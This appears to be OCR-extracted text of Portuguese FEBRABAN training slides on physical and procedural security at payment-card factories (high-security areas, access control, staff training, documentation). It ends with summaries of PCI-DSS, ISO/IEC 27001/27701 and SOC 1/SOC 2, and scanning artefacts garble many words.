Os ambientes devem possuir barreiras fisicas,
controles de temperatura, umidade, detectores de
fumaca e calor, assim como detectores de presenca e

movimento.

Sempre que qualquer sala dentro do HSA é
ocupado, ele deve conter um minimo de dois
funcionérios autorizados. Este deve ser executada
pelo sistema de controle de acesso.

FEBRABAN

Salas separadas dentro do HSA devem cumprir todos
0s requisitos de seguranca fisica.

Destruicado de produtos cartdo e residuos componente
deve ocorrer em uma sala separada (s) dentro do
HSA que se dedica a destruicao.

WC’s sdo proibidos (exceto quando exigido por lei
local) e devem ser isoladas. Quando usados, o0 modo
de entrada e saida deve ser monitorado camera.



Mecanismos de controle de acesso devem ser implementados (barreiras fisicas, catracas, controles
de ingresso aos ambientes) e gerenciados por meios logicos, assegurando conformidade com as
exigéncias de controle de acesso de pessoas.

A ativacao do dispositivo de acesso deve ser controlado por um leitor de cartdes que impde uma
funcéo antipass-back (controle para evitar que 0s usuarios possam entrar ou sair mais de uma vez
consecutivamente).

Os leitores de cartdo devem operar permanentemente conectados a um computador que centraliza o
registro de qualquer ativagéo de leitura.

O status do acesso deve mudar apenas quando a pessoa tenha concluido com éxito o ciclo de
acesso.

FEBRABAN
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Abaixo estéo relacionadas algumas boas praticas de segurancga:

Disponibilizar uma cépia do manual de
seguranca interna para todos os funcionarios

contendo:
0
* Requisitos de seguranca e diretrizes;

* Procedimentos que os funcionarios devem
seguir enquanto trabalham na instalagéo.

A designacdo de um responsavel por todas
as questfes de seguranca. Além disso,
torna-se necessario produzir relatérios de
seguranca relatando incidentes, ameacas,
problemas, entre outros (de preferéncia
mensalmente).

A realizacéo de sessdes de capacitagao
obrigatérias pelo menos anualmente.
‘ Estas sessdes devem incluir a compreensao
das politicas de seguranca da empresa e
/ responsabilidades dos funcionarios e sua
adesao as politicas de seguranca.

Garantir que os individuos realizem ou
gerenciem tarefas que exijam acesso aos
componentes do cartdo e dados, tenham um ’\

contrato de trabalho definido com o fornecedor.

Assegurar que o treinamento de seguranga
contemple a obrigacdo dos funcionérios

de relatar qualquer violagdo de ‘\

Exibir cartazes e avisos relacionados com
a seguranca em locais-chave dentro das

/ I instalagcdes do fornecedor.

procedimento de seguranca estabelecido
observada.
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O fornecedor deve notificar sobre quaisquer mudancgas de pessoal que afetem diretamente a seguranca dos cartdes e componentes relacionados, incluindo mas
nao limitados a alta administracdo e funcionarios das empresas, gerente de Seguranca e trabalhadores autorizados a receber ou assinar para quaisquer componentes de

cartdes.

Deve ser realizada a documentacao dos sequintes topicos:

000
0"’

A interacdo entre gestdo de processos de

- » Controle de acesso em todos os pontos

A guarda de responsabilidades, producéo, contratados de guarda ou de de entrada e de saida das instalagdes, por

procedimentos e atividades por monitoramento de servicos, a policia e outros data e hora de ativacéo
posicao/perfil servicos de emergéncia

Os procedimentos de ativagcao de alarme,

resposta a alarmes, incluindo a notificagéo
para a aplicacdo da lei em casos de acesso
nao autorizado as instalacdes

A atividade diaria e relatorio de incidente
imediato, assim como potenciais ameacas

Os procedimentos devem ser revistos, validados e, se necessario, atualizado anualmente.
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Para apoiar no entendimento e implementacdo de toda a metodologia apresentada neste material, a seguir sdo apresentados as normas e
frameworks de referéncia no tema:

Frameworks Padrao Utilizados

Conformidade: Requisitos de conformidade mais exigentes, permitindo estimar o nivel de conformidade com o PCI-DSS.
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Agora que aprendemos sobre as praticas de Seguranca em Fabricas de Cartdes, relembre os principais termos e conceitos apresentados neste
material:

PCI-DSS: O Padréo de Seguranca de Dados da Payment Card Industry (PCI DSS) foi desenvolvido para aprimorar a seguranca dos dados de contas de
cartbes de pagamento e facilitar a ampla adocéo de medidas de seguranca de dados consistentes no mundo todo.

Segmentacdo e Controle de Acesso em Salas: Dentro do HSA (area de alta seguranca), podem existir os seguintes salas/ambientes segmentados, tais
como: producao de matéria, PIN, sala de destruicdo, sala de servidores e key management e sala de cofre.

Controle de Acesso (Pessoa-a-pessoa): Mecanismos de controle de acesso devem ser implementados (barreiras fisicas, catracas, controles de ingresso
aos ambientes) e gerenciados por meios logicos, assegurando conformidade com as exigéncias de controle de acesso de pessoas.

Notificacdo e Documentacao: O fornecedor deve naotificar sobre quaisquer mudancas de pessoal que afetem diretamente a seguranca de produtos de
cartdes e componentes relacionados, incluindo mas néo limitados a alta administracao e funcionarios das empresas, gerente de Seguranca e trabalhadores
autorizados a receber ou assinar para quaisquer componentes de cartdes.
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ISO/IEC 27001 e 27701

Trata-se de um padréo internacional que monitora e analisa os sistemas e 0s
processos da gestdo da Seguranca da Informacdo, A norma é baseada em
uma abordagem de gestao de riscos, que envolve identificar, analisar e tratar
os riscos de seguranga da informacdo de acordo com o contexto e 0s
objetivos da organizacdo. A conformidade com normas de nivel mundial pode
ajuda-lo a conquistar a confianga dos clientes e novas oportunidades de
negocios.

O Sistema de Gerenciamento de Seguranca da Informacgéo deve ser
implementado para obter a certificacdo ISO 27001. Confira os principais
requisitos:

*Requisito 1 — Contexto da organiza¢&o e o conhecimento sobre ela;
*Requisito 2 — Lideranca e compromisso demonstrada pela empresa por
meio de treinamentos da equipe, por exemplo;

*Requisito 3 — Planejamento para gerenciamento de riscos que séo
adaptados pela empresa;

*Requisito 4 — Alocagdo de recursos necessarios para atender os requisitos;
*Requisito 5 — Avaliagdes dos controles operacionais que devem ser feitas
pela empresa apos monitorar constantemente o SGSI;

*Requisito 6 — Avaliacao de desempenho para monitorar e avaliar o SGSI;
*Requisito 7 — Plano de melhoria e correcdo de ndo conformidades, com
identificacdo das ocorréncias e as medidas corretivas.
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ISO/IEC 27701 é uma extensdo para incluir critérios de privacidade de um
sistema de gestdo de seguranca da informagdo de acordo com a ISO/IEC
27001 e ISO/IEC 27002 (Controles de Seguranca da Informacéo). A norma
internacional ISO 27701 fornece diretrizes para a protecao da privacidade e o
tratamento de dados pessoais. Sendo assim, auxilia a demonstrar a
conformidade com os regulamentos de protecéo de dados a nivel mundial.

A 1SO 27701 s6 pode ser certificada em conjunto com um sistema de gestao
da seguranca da informacgdo, em conformidade com a 1SO 27001.

O Sistema de Gerenciamento de Privacidade da Informacéo deve ser
implementado para obter a certificacdo ISO 27701. Confira os principais
requisitos:

Observacéo: a secao aborda os requisitos destinados aos controladores de

dados pessoais e a se¢do 8 aborda os requisitos destinados aos operadores
de dados pessoais.

*Requisito 7.1 e 8.1 - Diretrizes gerais;

*Requisito 7.2 e 8.2 — Condic¢des para coleta e tratamento;

*Requisito 7.3 e 8.3 — Obrigagdes dos titulares de DP;

*Requisito 7.4 8.4 — Privacy by Design e Privacy by Default;

*Requisito 7.5 e 8.5 — Compartilhamento, transferéncia e divulgagéo de DP.


https://www.dqsglobal.com/pt-br/certifique/iso-iec-27001
https://www.dqsglobal.com/pt-br/certifique/iso-iec-27001
https://www.dqsglobal.com/pt-br/certifique/iso-iec-27001

‘ O que éo SOC 1? k

SOC 1 report € uma auditoria dos controles internos em uma organizacao de
servicos, implementada para proteger dados de propriedade do cliente que
estao envolvidos no relatério financeiro do cliente. As auditorias e relatérios
do SOC 1 sao baseados na Declaracéo sobre Normas para Compromissos
de Atestado (SSAE 18) e nas Normas Internacionais para Compromissos de
Garantia N° 3402 (ISAE 3402).

‘ Quais sao os requisitos da SOC 1? k

O relatério SOC 1 documenta os controles internos de um provedor de servicos
em nuvem que podem ser relevantes para os relatorios financeiros de um
cliente. Este relatério é particularmente Gtil para organiza¢des que auditam
demonstracdes financeiras.

Objetivos de Controle: Devem ser bem definidos, operados e designados.
Categorias de Controle: Devem incluir ambiente, assessment de risco,
informacg&o e comunicacéo, atividades de controle e monitoramento.

Controles internos: Devem incluir controles de acesso, alteracées. 1sso inclui
controles de acesso, gerenciamento de mudancas, backup e recuperagéao e
planejamento de recuperacdo de desastres.

Avaliacado de risco: O auditor buscara praticas de gerenciamento de risco para
garantir que a organizacéo possa identificar, gerenciar e remediar riscos.

Teste: O auditor realizara testes para verificar a eficacia e a implementacao dos
controles e processos internos da organizacao.
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‘ O que é 0 SOC 2? ‘

A SOC 2 report oferece uma estrutura para verificar se uma organizacéao de
servicos atingiu e pode manter uma seguranga de informacgdes robusta e
mitigar incidentes de seguranca. A SOC 2 é usada para auditar a postura de
seguranca de fornecedores terceirizados, a fim de garantir que atendam ao
nivel de protecéo esperado por sua organizagao.

‘ Quais séo os requisitos da SOC 2? ‘

O relatério SOC 2 abrange cinco aspectos do tratamento de dados que
consolidam uma postura de seguranca cibernética coerente e robusta. O Comité
executivo de servicos de garantia € responsavel pelos TSC e descreve 0s cinco
Critérios de servicos de confianca da SOC 2 da seguinte forma:

1.Seguranca: protecédo de dados e seguranca do sistema contra acesso néo
autorizado e exposicao de dados. A seguranca também inclui protecao contra
danos ao sistema que podem resultar na perda de disponibilidade, integridade e
confidencialidade dos dados.

2.Disponibilidade: confiabilidade dos sistemas necessarios para que a pessoa
juridica mantenha as operacoes.

3.Integridade do processamento: o processamento do sistema deve ser
completo, valido, preciso, oportuno e autorizado.

4.Confidencialidade: dados classificados como "confidenciais" devem ser
protegidos para cumprir os objetivos da entidade.

5.Privacidade: informac6es devem ser coletadas, usadas, retidas, divulgadas e
descartadas para atender aos objetivos da entidade em relagéo a privacidade de
dados.



Fim.

FEDERAGAO
BRASILEIRA
DE BANCOS
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